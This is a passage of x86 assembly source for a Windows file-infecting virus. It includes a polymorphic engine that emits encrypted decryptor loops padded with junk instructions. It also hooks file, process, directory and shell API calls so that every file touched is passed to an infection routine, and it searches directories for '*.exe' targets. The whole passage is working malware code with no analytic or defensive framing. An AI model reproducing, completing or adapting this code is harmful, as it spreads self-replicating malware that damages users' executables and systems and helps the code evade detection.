VirPolyNext VirPoly_2:    cmp al,PTADD    jnz short VirPoly_3;Method add    call PolyAddReg32Imm    jmp short VirPolyNext VirPoly_3:    cmp al,PTSUB    jnz short VirPoly_4;Method sub    call PolySubReg32Imm    jmp short VirPolyNext VirPoly_4:    cmp al,PTROR    jnz short VirPoly_5;Method ROR    mov dh,8    call PolyRollReg32Imm8    jmp short VirPolyNext VirPoly_5:    cmp al,PTROL    jnz short VirPoly_6;Method ROL    xor dh,dh    call PolyRollReg32Imm8    jmp short VirPolyNext VirPoly_6:;Method BSWAP    call PolyBswapReg32;   jmp short VirPolyNext VirPolyNext:    pop edx    pop ecx     call PolyGenGarbage    call PolyGenSafeGarbage     call PolyMovMemReg32     call PolyGenGarbage     dec dword ptr [esp]    jnz VirPolyLoop     pop ecx ;    mov cl,dh;   call PolyCmpReg32_0 ;sub count reg,4    mov cl,dh    push large 4    pop edx    call PolySubReg32Imm ;jnl xxxxxxxx    mov ax,8d0fh    stosw    mov eax,[esp]    sub eax,edi    sub eax,4    stosd     pop eax    push edi     popad    retnVirPoly_end:  ;Param: ebp->PolyVar;   dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4PolyInitVar:    pushad    xor ecx,ecx    mov [ebp],ecx    mov [ebp+4],ecx    mov bl,1    mov cl,dl    mov [ebp+ecx],bl    movzx ecx,dh    mov [ebp+ecx],bl    popad    retnPolyInitVar_end: VirPolyHelp:    stc    call PolyGetReg    movzx eax,bl    mov byte ptr [ebp+eax],1    mov cl,bl    push ecx    call PolyMovReg32Mem    pop ecx    retnVirPolyHelp_end:  ;Generate some garbage to a bufferPolyGenGarbageBuffer:    pushad    sub esp,size PolyVar    mov ebp,esp ;Make the reg as ebp,ebp,only an address,not useful    mov edx,0505h    call PolyInitVar     call VirGetRand    and eax,0fh    add al,0fh ;15-31 garbage    push eaxPolyGenGarbageBufferLoop:    call PolyGenSafeGarbage    dec dword ptr [esp]    jnz short PolyGenGarbageBufferLoop     pop eax     add esp,size PolyVar    pop eax    push edi     popad    retnPolyGenGarbageBuffer_end: ;Save gargage code generate,can be used in other generationPolyGenSafeGarbage:    pushad     call VirGetRand    movzx eax,al    and al,7    add al,8 ;8-15 layers garbage code    push eax PolyGenSafeGarbageLoop:    call VirGetRand    mov edx,eax    and al,0fh    and ah,3 ;common reg    xchg cl,ah ;cl=potential useful reg     call PolyGetReg ;bl=garbagereg;bl=gargage reg,cl=useful reg     cmp al,PolyGenSafeGarbageMultiNum    jnc PolyGenSafeGarbage_0     push ebx    call PolyGenSafeGarbageMultiPolyGenSafeGarbageMulti_0:    db 11h; adc    db 01h; add    db 21h; and    db 39h; cmp    db 89h; mov    db 09h; or    db 19h; sbb    db 29h; sub    db 31h; xorPolyGenSafeGarbageMultiNum equ $-PolyGenSafeGarbageMulti_0PolyGenSafeGarbageMulti:    pop ebx    movzx eax,al    mov al,[ebx+eax]    pop ebx    call PolyOpDirReg1Reg2    jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_0:    cmp al,PolyGenSafeGarbageMultiNum+0    jnz short PolyGenSafeGarbage_1;xchg garbagereg,commonreg/xchg garbagereg,commonreg    call PolyXchgReg32Reg    call PolyXchgReg32Reg    jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_1:    cmp al,PolyGenSafeGarbageMultiNum+1    jnz short PolyGenSafeGarbage_2    test dh,10h    jz short PolyGenSafeGarbage_@11;jmp forword,short format    mov al,0ebh    stosb    movzx eax,dh    and al,3 ;max forward 3 bytes    stosb    add edi,eax    jmp short PolyGenSafeGarbageNextPolyGenSafeGarbage_@11:;call forward/pop gargagereg    mov al,0e8h    stosb    movzx eax,dh    and al,3 ;max forward 3 bytes    stosd    add edi,eax    mov al,58h    or al,bl    stosb    jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_2:    cmp al,PolyGenSafeGarbageMultiNum+2    jnz short PolyGenSafeGarbage_3;bswap garbagereg    mov al,0fh    stosb    mov al,0c8h    or al,bl    stosb    jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_3:    cmp al,PolyGenSafeGarbageMultiNum+3    jnz short PolyGenSafeGarbage_4;jcc forward    mov al,70h    and dh,0fh    or al,dh    stosb    shr edx,12    mov al,dh    and al,3 ;max 3 bytes    stosb    call PolyGetOneByteGarbage    jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_4:    cmp al,PolyGenSafeGarbageMultiNum+4    jnz short PolyGenSafeGarbage_5;test reg,reg    mov al,85h    stosb    mov al,cl    shl al,3    or al,0c0h    or al,bl    stosb    jmp short PolyGenSafeGarbageNext PolyGenSafeGarbage_5: PolyGenSafeGarbageNext:    dec dword ptr [esp]    jnz PolyGenSafeGarbageLoop     pop eax     pop eax    push edi    popad     retnPolyGenSafeGarbage_end:  ;nop,clc,stc,cld,std;Param: al=code numberPolyGetOneByteGarbage:    push ebx    push eaxPolyGetOneByteGarbageLoop:    or al,al    jz short PolyGetOneByteGarbageRet     push eax    call VirGetRand    xchg eax,ebx    mov al,90h ;nop    test bh,8    jz short PolyGetOneByteGarbage1    mov al,0f8h ;clc    and bl,1    add al,bl ;maybe stc    jmp short PolyGetOneByteGarbageNext PolyGetOneByteGarbage1:    test bh,2    jz short PolyGetOneByteGarbageNext    mov al,0fch ;cld    and bl,1    add al,bl ;maybe std;   jmp short PolyGetOneByteGarbageNext PolyGetOneByteGarbageNext:    stosb    pop eax    dec al    jmp short PolyGetOneByteGarbageLoopPolyGetOneByteGarbageRet:    pop eax    pop ebx    retnPolyGetOneByteGarbage_end:  ;opcode dstreg,srcreg,select two direction;Param: cl=srcreg,bl=dstreg,al=opcodePolyOpDirReg1Reg2:    push ebx    push ecx    push eax    call VirGetRand    test al,2    pop eax    jz short PolyOpDirReg1Reg2_1    or al,2    xchg cl,blPolyOpDirReg1Reg2_1:    stosb    mov al,cl    shl al,3    or al,0c0h    or al,bl    stosb    pop ecx    pop ebx    retnPolyOpDirReg1Reg2_end:  ;xchg reg32,reg32;Param: cl,bl= reg32PolyXchgReg32Reg:    call VirGetRand    test al,1    jz short PolyXchgReg32Reg1;xchg reg,reg    mov al,87h    stosb    mov al,cl    shl al,3    or al,0c0h    or al,bl    stosb    retnPolyXchgReg32Reg1:;push reg1/push reg2/pop reg1/pop reg2    mov al,50h    or al,cl    stosb    mov al,50h    or al,bl    stosb    mov al,58h    or al,cl    stosb    mov al,58h    or al,bl    stosb    retn    retnPolyXchgReg32Reg_end:  PolyGenGarbage:    pushad     mov esi,edx ;save edx     call VirGetRand    test ah,3    jnz short PolyGenGarbageNotSafe    popad    jmp PolyGenSafeGarbage PolyGenGarbageNotSafe:    movzx eax,al    and al,7    add al,8 ;8-15 layers garbage code    push eax PolyGenGarbageLoop:    call VirGetRand    mov edx,eax    and al,7    and ah,3 ;common reg    xchg cl,ah     call PolyGetReg ;bl=garbagereg    xchg cl,bl ;cl=gargage reg,bl=useful reg     cmp al,0    jnz short PolyGenGarbage_1;mov garbagereg,commonreg    xchg cl,bl    call PolyMovReg32Reg32 ;mov regbl,regcl    jmp short PolyGenGarbageNext PolyGenGarbage_1:    cmp al,1    jnz short PolyGenGarbage_2;add garbagereg,imm32    call PolyAddReg32Imm    jmp short PolyGenGarbageNext PolyGenGarbage_2:    cmp al,2    jnz short PolyGenGarbage_3;roll garbagereg,imm8    bswap edx    and dh,8    call PolyRollReg32Imm8    jmp short PolyGenGarbageNext PolyGenGarbage_3:    cmp al,3    jnz short PolyGenGarbage_4;mov garbagereg,mem    mov edx,esi    call PolyMovReg32Mem    jmp short PolyGenGarbageNext PolyGenGarbage_4: PolyGenGarbageNext:    dec dword ptr [esp]    jnz PolyGenGarbageLoop     pop eax     pop eax    push edi    popad     retnPolyGenGarbage_end:  if 0;cmp reg32,0;Param: cl=reg32PolyCmpReg32_0:    call VirGetRand    test al,1    jnz short PolyCmpReg32_0_1;cmp reg32,0    test al,2    jnz short PolyCmpReg32_0_2;long format    mov al,81h    stosb    mov al,0f8h    or al,cl    stosb    xor eax,eax    stosd    retnPolyCmpReg32_0_2:;short format    mov al,83h    stosb    mov al,0f8h    or al,cl    stosb    xor al,al    stosb    retnPolyCmpReg32_0_1:;or reg32,reg32    test al,8    mov al,09h    jz short PolyCmpReg32_0_3    mov al,0bhPolyCmpReg32_0_3:    stosb    mov al,cl    shl al,3    or al,0c0h    or al,cl    stosb    retnPolyCmpReg32_0_end:endif ;ror/rol reg32,imm8;Param: cl=reg32,dl=imm8,dh=0 means rol,dh=8 means rorPolyRollReg32Imm8:    call VirGetRand    cmp dl,1    jnz short PolyRollReg32Imm8_1    test al,1    jz short PolyRollReg32Imm8_1;ror/rol reg32,1    mov al,0d1hPolyRollReg32Imm8__help:    stosb    mov al,0c0h    or al,cl    or al,dh    stosb    retn PolyRollReg32Imm8_1:    test al,2    jnz short PolyRollReg32Imm8_2PolyRollReg32Imm8__help2:;ror/rol reg32,imm8    mov al,0c1h    call PolyRollReg32Imm8__help    mov al,dl    stosb    retn PolyRollReg32Imm8_2:;mov tmpreg32,reg32/ror/rol tmpreg32,imm8/mov reg32,tmpreg32    stc    call PolyGetReg    call PolyMovReg32Reg32    xchg bl,cl    call PolyRollReg32Imm8__help2    call PolyMovReg32Reg32    retnPolyRollReg32Imm8_end:  ;bswap reg32;Param: cl=reg32PolyBswapReg32:    call VirGetRand    test al,1    jnz short PolyBswapReg32_1;bswap reg32PolyBswapReg32_0:    mov al,0fh    stosb    mov al,0c8h    or al,cl    stosb    retnPolyBswapReg32_1:;mov tmpreg32,reg32/bswap tmpreg32/mov reg32,tmpreg32    stc    call PolyGetReg    call PolyMovReg32Reg32    xchg bl,cl    call PolyBswapReg32_0    call PolyMovReg32Reg32    retnPolyBswapReg32_end:  ;xor reg32,imm32;Param: cl=reg32,edx=imm32PolyXorReg32Imm:    call VirGetRand    test al,1    jz short PolyXorReg32Imm1;xor reg32,imm32    mov al,81h    stosb    mov al,0f0h    or al,cl    stosb    mov eax,edx    stosd    retnPolyXorReg32Imm1:;mov tmpreg32,imm32/xor reg32,tmp32    stc    call PolyGetReg    xchg bl,cl    call PolyMovReg32Imm    mov al,33h    stosb    mov al,bl    shl al,3    or al,0c0h    or al,cl    stosb    retnPolyXorReg32Imm_end:  ;add ret32,imm32;Param: cl=reg32,edx=imm32PolyAddReg32Imm:    call VirGetRand    cmp edx,1;can be inc reg32?    jnz short PolyAddReg32Imm1    test al,8    jz short PolyAddReg32Imm1;inc reg32    mov al,40h    or al,cl    stosb    retn PolyAddReg32Imm1:    test al,1    jnz short PolyAddReg32Imm2;mov tmpreg32,imm32/add reg32,tmpreg32    stc    call PolyGetReg    xchg bl,cl    call PolyMovReg32Imm    mov al,3    stosb    mov al,bl    shl al,3    or al,0c0h    or al,cl    stosb    retn PolyAddReg32Imm2:    test al,10h    jz short PolyAddReg32Imm3;add reg32,imm    mov al,81h    stosb    mov al,0c0h    or al,cl    stosb    mov eax,edx    stosd    retn PolyAddReg32Imm3:;or reg32,reg32/adc reg32,imm    mov bl,cl    mov al,09h    call PolyOpDirReg1Reg2    mov al,81h    stosb    mov al,0d0h    or al,cl    stosb    mov eax,edx    stosd    retnPolyAddReg32Imm_end: ;sub ret32,imm32;Param: cl=reg32,edx=imm32PolySubReg32Imm:    call VirGetRand    cmp edx,1;can be dec reg32?    jnz short PolySubReg32Imm1    test al,8    jz short PolySubReg32Imm1;dec reg32    mov al,48h    or al,cl    stosb    retn PolySubReg32Imm1:    test al,1    jnz short PolySubReg32Imm2;add reg32,neg imm    neg edx    jmp short PolyAddReg32Imm1 PolySubReg32Imm2:;sub reg32,imm    mov al,81h    stosb    mov al,0e8h    or al,cl    stosb    mov eax,edx    stosd    retnPolySubReg32Imm_end:  ;mov ret32,imm32;Param: cl=reg32,edx=imm32PolyMovReg32Imm:    call VirGetRand    test al,1    jz short PolyMovReg32Imm1;mov reg32,imm32    mov al,0b8h    or al,cl    stosb    mov eax,edx    stosd    retn PolyMovReg32Imm1:;push imm32/pop reg32    mov al,68h    stosb    mov eax,edx    stosd    mov al,58h    or al,cl    stosb    retnPolyMovReg32Imm_end:  ;mov reg32,[reg of dl(source) + reg of bh(count)];Param: cl=reg32PolyMovReg32Mem:    call VirGetRand    test al,3    jz short PolyMovReg32Mem1;mov tmpreg8,mem/mov reg8,tmpreg    clc    call PolyGetReg    xchg cl,bl    call PolyMovReg32Mem3 ;mov tmpre32,mem;Now cl=tmpreg,bl=reg    call PolyMovReg32Reg32    retn PolyMovReg32Mem1:    test al,4    jnz short PolyMovReg32Mem2PolyMovReg32Mem3:;mov reg8,mem    mov al,8bh    call PolyMovMemHelp    retn PolyMovReg32Mem2:;push mem/pop reg    mov ax,034ffh    stosw    mov al,dh    shl al,3    or al,dl ;SIB    stosb    mov al,cl ;pop reg    or al,58h    stosb    retnPolyMovReg32Mem_end:  ;mov [reg of dl(source) + reg of bh(count)],reg32;Param: cl=reg32PolyMovMemReg32:    call VirGetRand    test al,3    jz short PolyMovMemReg32_1;mov tmpreg,reg/mov mem32,tmpreg    clc    call PolyGetReg;cl=reg32,bl=tmpreg32    call PolyMovReg32Reg32    xchg bl,cl;cl=reg32,bl=tmpreg32 PolyMovMemReg32_1:    test al,4    jz short PolyMovMemReg32__2;mov mem32,reg32    mov al,89h    call PolyMovMemHelp    retn PolyMovMemReg32__2:;push reg32/pop mem32    mov al,50h    or al,cl    stosb    mov ax,048fh    stosw    mov al,dh    shl al,3    or al,dl ;SIB    stosb    retnPolyMovMemReg32_end:  ;For mov mem32,reg or mov reg,mem32;Param: al=the first byte,89h-mov mem32,reg,8bh-mov reg,mem32PolyMovMemHelp:    stosb    mov al,cl    shl al,3    or al,4    stosb ;mod/reg/rm    mov al,dh    shl al,3    or al,dl ;SIB    stosb    retnPolyMovMemHelp_end:  ;mov reg32,[reg of dl(source) + reg of bh(count)];Param: cl=source reg32,bl=dest reg32PolyMovReg32Reg32:    call VirGetRand    test al,1    jz short PolyMovReg32Reg32_1;mov dstreg32,srcreg32    test al,8    jz short PolyMovReg32Reg32_2;reg1 to reg2    mov al,89h    stosb    mov al,cl    shl al,3    or al,0c0h    or al,bl    stosb    retn PolyMovReg32Reg32_2:;reg2 to reg1    mov al,8bh    stosb    mov al,bl    shl al,3    or al,0c0h    or al,cl    stosb    retn PolyMovReg32Reg32_1:;push srcreg32/pop dstreg32    mov al,50h    or al,cl    stosb    mov al,58h    or al,bl    stosb    retnPolyMovReg32Reg32_end:  ;Param: ebp->PolyVar,CF=0: use only common reg,CF=1: use all reg;Return: bl=reg,bh won't be affectPolyGetReg:    push eax    push edx    push ecx     setc cl    shr cl,2    add cl,3     call VirGetRand    movzx edx,al    and dl,cl    dec dlPolyGetRegLoop:    inc dl    and dl,cl    cmp dl,4 ;is esp?    jz short PolyGetRegLoop    cmp dl,5 ;is ebp?    jz short PolyGetRegLoop    cmp byte ptr [ebp+edx],dh ;dh=0    jnz short PolyGetRegLoop    mov bl,dl     pop ecx    pop edx    pop eax    retnPolyGetReg_end:  ;Param: al=last poly type;Return: al=poly typePolyGetType:    push edx     mov dh,al    call VirGetRand    xor ah,ah ;avoid overflow error    mov dl,PTNUM    div dl     mov al,ah     pop edx    retnPolyGetType_end: ;Return: eax=random numberVirGetRand:    pushad    call VirGetRandIPVirGetRandIP:    pop ebp    call [ebp+addrGetTickCount-VirGetRandIP]    mov ecx,12345678hRandSeed equ $-4    add eax,ecx    rol ecx,1    add ecx,esp    add [ebp+RandSeed-VirGetRandIP],ecx    push large 32    pop ecxVirGetRand1:    shr eax,1    jnc VirGetRand2    xor eax,0ED388320hVirGetRand2:    loop VirGetRand1    mov [esp+7*4],eax     popad    retnget_rand_end: ;Try to set GetOpenFileName hook;Param: esi->OPENFILENAME, edi->address of hook procedureHookGetOpenFileNameTryHook:    mov ecx,[esi].OPENFILENAME.Flags    test ecx,OFN_ENABLEHOOK    jnz short HookGetOpenFileNameTryHookRet    test ecx,OFN_EXPLORER    jz short HookGetOpenFileNameTryHookRet    or [esi].OPENFILENAME.Flags,OFN_ENABLEHOOK    mov [esi].OPENFILENAME.lpfnHook,ediHookGetOpenFileNameTryHookRet:    retnHookGetOpenFileNameTryHook_end:  ;Try to release GetOpenFileName hook;Param: esi->OPENFILENAME, edi->address of hook procedureHookGetOpenFileNameUnhook:    cmp [esi].OPENFILENAME.lpfnHook,edi    jnz short HookGetOpenFileNameUnhookRet    and [esi].OPENFILENAME.Flags,not OFN_ENABLEHOOK    mov [esi].OPENFILENAME.lpfnHook,0HookGetOpenFileNameUnhookRet:    retnHookGetOpenFileNameUnhook_end:  HookGetOpenFileNameHookA:    cmp dword ptr [esp+4+4],WM_NOTIFY ;uiMsg    jnz short HookGetOpenFileNameHookARet    mov eax,[esp+4+4*3] ;lParam    cmp dword ptr [eax+8],CDN_FOLDERCHANGE    jnz short HookGetOpenFileNameHookARet    mov eax,[esp+4]     pushad    call HookGetOpenFileNameHookAIPHookGetOpenFileNameHookAIP:    pop ebp     push eax    call [ebp+addrGetParent-HookGetOpenFileNameHookAIP]     sub esp,1000    mov edi,esp    push edi    push 500    push CDM_GETFOLDERPATH    push eax    call [ebp+addrSendMessageA-HookGetOpenFileNameHookAIP]    cmp eax,0    jle short HookGetOpenFileNameHookAFail    cmp byte ptr [edi+1],0    jz short HookGetOpenFileNameHookAWide    call TrySearchPath    jmp short HookGetOpenFileNameHookAFailHookGetOpenFileNameHookAWide:    call TrySearchPathWideHookGetOpenFileNameHookAFail:    add esp,1000    popad HookGetOpenFileNameHookARet:    xor eax,eax    retn 16HookGetOpenFileNameHookA_end:  HookGetSaveFileNameA:    pushad    pushfd    call HookGetSaveFileNameAIPHookGetSaveFileNameAIP:    pop ebx     mov eax,[ebx+addrGetSaveFileNameA-HookGetSaveFileNameAIP]    lea ebp,[ebx+HookGetOpenFileNameAIP-HookGetSaveFileNameAIP]    jmp short HookGetOpenFileNameA_1HookGetSaveFileNameA_end:  HookGetSaveFileNameW:    pushad    pushfd    call HookGetSaveFileNameWIPHookGetSaveFileNameWIP:    pop ebx     mov eax,[ebx+addrGetSaveFileNameW-HookGetSaveFileNameWIP]    lea ebp,[ebx+HookGetOpenFileNameWIP-HookGetSaveFileNameWIP]    jmp short HookGetOpenFileNameW_1HookGetSaveFileNameW_end:  HookGetOpenFileNameA:    pushad    pushfd    call HookGetOpenFileNameAIPHookGetOpenFileNameAIP:    pop ebp     mov eax,[ebp+addrGetOpenFileNameA-HookGetOpenFileNameAIP] HookGetOpenFileNameA_1:    mov esi,[esp+9*4+4]     lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameAIP]    call HookGetOpenFileNameTryHook     push esi    call eax     mov [esp+4+7*4],eax     call HookGetOpenFileNameUnhook     popfd    popad    retn 4HookGetOpenFileNameA_end:  HookGetOpenFileNameW:    pushad    pushfd    call HookGetOpenFileNameWIPHookGetOpenFileNameWIP:    pop ebp     mov eax,[ebp+addrGetOpenFileNameW-HookGetOpenFileNameWIP] HookGetOpenFileNameW_1:    mov esi,[esp+9*4+4]     lea edi,[ebp+HookGetOpenFileNameHookA-HookGetOpenFileNameWIP]    call HookGetOpenFileNameTryHook     push esi    call eax    mov [esp+4+7*4],eax     call HookGetOpenFileNameUnhook     popfd    popad    retn 4HookGetOpenFileNameW_end:  HookLoadLibraryA:    pushad    pushfd    call HookLoadLibraryAIPHookLoadLibraryAIP:    pop ebp     mov esi,[esp+9*4+4]    push esi    call [ebp+addrLoadLibraryA-HookLoadLibraryAIP]    mov [esp+4+7*4],eax    or eax,eax    jz short HookLoadLibraryARet     mov edi,1000    sub esp,edi    mov edx,esp    push edi    push edx    push eax    call HookGetModuleFileNameA    add esp,ediHookLoadLibraryARet:    popfd    popad    retn 4HookLoadLibraryA_end:  HookLoadLibraryW:    pushad    pushfd    call HookLoadLibraryWIPHookLoadLibraryWIP:    pop ebp     mov esi,[esp+9*4+4]    push esi    call [ebp+addrLoadLibraryW-HookLoadLibraryWIP]    mov [esp+4+7*4],eax    or eax,eax    jz short HookLoadLibraryWRet     mov edi,1000    sub esp,edi    mov edx,esp    push large 500    push edx    push eax    call HookGetModuleFileNameW    add esp,ediHookLoadLibraryWRet:    popfd    popad    retn 4HookLoadLibraryW_end:  HookGetModuleFileNameA:    pushad    pushfd    call HookGetModuleFileNameAIPHookGetModuleFileNameAIP:    pop ebp     mov esi,[esp+9*4+4]    mov edi,[esp+9*4+4+4]    mov eax,[esp+9*4+4+4+4]    push eax    push edi    push esi    call [ebp+addrGetModuleFileNameA-HookGetModuleFileNameAIP]    mov [esp+4+7*4],eax    or eax,eax    jz short HookGetModuleFileNameARet     call TrySearchFileHookGetModuleFileNameARet:    popfd    popad    retn 12HookGetModuleFileNameA_end:  HookGetModuleFileNameW:    pushad    pushfd    call HookGetModuleFileNameWIPHookGetModuleFileNameWIP:    pop ebp     mov esi,[esp+9*4+4]    mov edi,[esp+9*4+4+4]    mov eax,[esp+9*4+4+4+4]    push eax    push edi    push esi    call [ebp+addrGetModuleFileNameW-HookGetModuleFileNameWIP]    mov [esp+4+7*4],eax    or eax,eax    jz short HookGetModuleFileNameWRet     xchg edi,edx    call InfectFileWideHookGetModuleFileNameWRet:    popfd    popad    retn 12HookGetModuleFileNameW_end:  HookGetCurrentDirectoryA:    pushad    pushfd     call HookGetCurrentDirectoryAIPHookGetCurrentDirectoryAIP:    pop ebp     mov esi,[esp+9*4+4]    mov edi,[esp+9*4+4+4]    push edi    push esi    call [ebp+addrGetCurrentDirectoryA-HookGetCurrentDirectoryAIP]    mov [esp+4+7*4],eax    or eax,eax    jz short HookGetCurrentDirectoryARet        call TrySearchPathHookGetCurrentDirectoryARet:    popfd    popad    retn 8HookGetCurrentDirectoryA_end:  HookGetCurrentDirectoryW:    pushad    pushfd     call HookGetCurrentDirectoryWIPHookGetCurrentDirectoryWIP:    pop ebp     mov esi,[esp+9*4+4]    mov edi,[esp+9*4+4+4]    push edi    push esi    call [ebp+addrGetCurrentDirectoryW-HookGetCurrentDirectoryWIP]    mov [esp+4+7*4],eax    or eax,eax    jz short HookGetCurrentDirectoryWRet     call TrySearchPathWideHookGetCurrentDirectoryWRet:    popfd    popad    retn 8HookGetCurrentDirectoryW_end:  HookSetCurrentDirectoryA:    pushad    pushfd     call HookSetCurrentDirectoryAIPHookSetCurrentDirectoryAIP:    pop ebp     mov edi,[esp+9*4+4]    push edi    call [ebp+addrSetCurrentDirectoryA-HookSetCurrentDirectoryAIP]    mov [esp+4+7*4],eax    or eax,eax    jz short HookSetCurrentDirectoryARet        call TrySearchPathHookSetCurrentDirectoryARet:    popfd    popad    retn 4HookSetCurrentDirectoryA_end:  HookSetCurrentDirectoryW:    pushad    pushfd     call HookSetCurrentDirectoryWIPHookSetCurrentDirectoryWIP:    pop ebp     mov edi,[esp+9*4+4]    push edi    call [ebp+addrSetCurrentDirectoryW-HookSetCurrentDirectoryWIP]    mov [esp+4+7*4],eax    or eax,eax    jz short HookSetCurrentDirectoryWRet     call TrySearchPathWideHookSetCurrentDirectoryWRet:    popfd    popad    retn 4HookSetCurrentDirectoryW_end:  HookFindFirstFileA:    pushad    pushfd        call HookFindFirstFileAIPHookFindFirstFileAIP:    pop ebp     mov esi,[esp+9*4+4]    mov edi,[esp+9*4+4+4]    push edi    push esi    call [ebp+addrFindFirstFileA-HookFindFirstFileAIP]    mov [esp+4+7*4],eax    inc eax    jz short HookFindFirstFileARet     add edi,4*11 ;edi->cFileName    push esi    call HookFindHelp    pop edi     call TrySearchFile HookFindFirstFileARet:    popfd    popad     retn 8HookFindFirstFileA_end:  ;Param:    esi->lpFileName,edi->cFileName of  WIN32_FIND_DATAHookFindHelp:    sub esp,2000    xchg ebx,edi    mov edi,esp    mov edx,edi     call VirExtractPath    mov edi,ecx    mov esi,ebxHookFindHelpLoop2:    lodsb    stosb    or al,al    jnz short HookFindHelpLoop2     mov edi,edx    call InfectFile HookFindHelpRet:    add esp,2000    retnHookFindHelp_end:  HookFindFirstFileW:    pushad    pushfd     call HookFindFirstFileWIPHookFindFirstFileWIP:    pop ebp     mov esi,[esp+9*4+4]    mov edi,[esp+9*4+4+4]    push edi    push esi    call [ebp+addrFindFirstFileW-HookFindFirstFileWIP]    mov [esp+4+7*4],eax    inc eax    jz short HookFindFirstFileWRet     add edi,4*11 ;edi->cFileName    call HookFindHelpWide HookFindFirstFileWRet:    popfd    popad     retn 8HookFindFirstFileW_end:  ;Param:    esi->lpFileName,edi->cFileName of  WIN32_FIND_DATAHookFindHelpWide:    sub esp,2000    mov edx,esi    xchg ecx,edi    mov edi,esp    call UnicodeToAnsi     mov esi,edi     mov edx,ecx    add edi,1000    call UnicodeToAnsi     push esi    call HookFindHelp    pop edi     call TrySearchFile     add esp,2000    retnHookFindHelpWide_end:  HookMoveFileExA:    push eax    pushad    pushfd     mov edx,addrMoveFileExA-HookBaseIP     jmp short HookMoveFileA_1HookMoveFileExA_end:  HookMoveFileExW:    push eax    pushad    pushfd     mov edx,addrMoveFileExW-HookBaseIP     jmp short HookMoveFileW_1HookMoveFileExW_end:  HookCopyFileExA:    push eax    pushad    pushfd     mov edx,addrCopyFileExA-HookBaseIP    jmp short HookMoveFileA_1HookCopyFileExA_end:  HookCopyFileExW:    push eax    pushad    pushfd     mov edx,addrCopyFileExW-HookBaseIP    jmp short HookMoveFileW_1HookCopyFileExW_end:  HookCopyFileA:    push eax    pushad    pushfd     mov edx,addrCopyFileA-HookBaseIP    jmp short HookMoveFileA_1HookCopyFileA_end:  HookCopyFileW:    push eax    pushad    pushfd     mov edx,addrCopyFileW-HookBaseIP    jmp short HookMoveFileW_1HookCopyFileW_end:  HookMoveFileA:    push eax    pushad    pushfd     mov edx,addrMoveFileA-HookBaseIP HookMoveFileA_1:    mov edi,[esp+10*4+4]    call InfectFileAnsi     jmp short HookReturnHookMoveFileA_end:  HookMoveFileW:    push eax    pushad    pushfd     mov edx,addrMoveFileW-HookBaseIP HookMoveFileW_1:    push edx    mov edx,[esp+10*4+4+4]    call InfectFileWide    pop edx     jmp short HookReturnHookMoveFileW_end:  HookShellExecuteExA:    push eax    pushad    pushfd     mov edi,[esp+10*4+4]    or edi,edi    jz short HookShellExecuteExARet    mov edi,[edi+4*4]    call InfectFileAnsi HookShellExecuteExARet:    mov edx,addrShellExecuteExA-HookBaseIP    jmp short HookReturnHookShellExecuteExA_end:  HookShellExecuteExW:    push eax    pushad    pushfd     mov edx,[esp+10*4+4]    or edx,edx    jz short HookShellExecuteExWRet    mov edx,[edx+4*4]    call InfectFileWide HookShellExecuteExWRet:    mov edx,addrShellExecuteExA-HookBaseIP    jmp short HookReturnHookShellExecuteExW_end:  HookCreateFileA:    push eax    pushad    pushfd     mov edi,[esp+10*4+4]    call InfectFileAnsi     mov edx,addrCreateFileA-HookBaseIP HookReturn:    call HookCreateFileAIPHookCreateFileAIP:HookBaseIP equ HookCreateFileAIP    pop edi     mov eax,[edi+edx]    mov [esp+4*9],eax     popfd    popad    retnHookCreateFileA_end:  HookCreateFileW:    push eax    pushad    pushfd     mov edx,addrCreateFileW-HookBaseIP    jmp short HookMoveFileW_1HookCreateFileW_end:  HookCreateProcessA:    push eax    pushad    pushfd     mov edx,addrCreateProcessA-HookBaseIP    jmp HookMoveFileA_1HookCreateProcessA_end:  HookCreateProcessW:    push eax    pushad    pushfd     mov edx,addrCreateProcessW-HookBaseIP    jmp HookMoveFileW_1HookCreateProcessW_end:  HookShellExecuteA:    push eax    pushad    pushfd     mov edi,[esp+10*4+4+2*4]    call InfectFileAnsi     mov edx,addrShellExecuteA-HookBaseIP    jmp short HookReturnHookShellExecuteA_end:  HookShellExecuteW:    push eax    pushad    pushfd     mov edx,[esp+10*4+4+2*4]    call InfectFileWide     mov edx,addrShellExecuteW-HookBaseIP    jmp short HookReturnHookShellExecuteW_end:  ;Infect file with ansi file name,only a wrapper of InfectFile;Param: edi->ansi file nameInfectFileAnsi:    pushad    call InfectFile    call TrySearchFile    popad    retnInfectFileAnsi_end:  ;Infect file with unicode file name;Param: edx->unicode file nameInfectFileWide:    mov esi,512    sub esp,esi    mov edi,esp     call UnicodeToAnsi    call InfectFile     call TrySearchFile     add esp,esi    retnInfectFileWide_end:  ;Param: edx->unicode string,edi->dest ansi buffer(at leaset 512 bytes)UnicodeToAnsi:    push ecx     push large 0    push large 0    push large 512    push edi ;lpMultiByteStr    push -1    push edx    push large 200h ;WC_COMPOSITECHECK    push large 0 ;CP_ACP    call UnicodeToAnsiIPUnicodeToAnsiIP:    pop eax    call [eax+addrWideCharToMultiByte-UnicodeToAnsiIP]     pop ecx    retnUnicodeToAnsi_end:  ;Search path;Param: edi->PathTrySearchPath:    sub esp,1000     cld    mov esi,edi    mov edi,espTrySearchPathLoop:    lodsb    stosb    or al,al    jnz short TrySearchPathLoop TrySearchPath_Help:    dec edi    cmp byte ptr [edi-1],'/'    jz short TrySearchPath_1    mov al,'/'    stosbTrySearchPath_1:    mov eax,'0fck' and 0ffffffh    stosd    mov edi,esp    call TrySearchFile     add esp,1000    retnTrySearchPath_end:  ;Param: edi->unicode pathTrySearchPathWide:    sub esp,1000     mov edx,edi    mov edi,esp    call UnicodeToAnsi    add edi,eax     jmp short TrySearchPath_HelpTrySearchPathWide_end:  ;Extract the file path,then search it;Param: edi->file nameTrySearchFile:    call CanSearch    jnz short TrySearchFileRet     pushad    call TrySearchFileIPTrySearchFileIP:    pop ebx    lea esi,[ebx+PathBuf-TrySearchFileIP]    xchg esi,edi     call VirExtractPath     mov edi,ecx    mov eax,'xe.*'    stosd    mov eax,'000e' and 0ffh    stosd        push dword ptr [ebx+VirEventHandle-TrySearchFileIP]    call [ebx+addrSetEvent-TrySearchFileIP]     popadTrySearchFileRet:    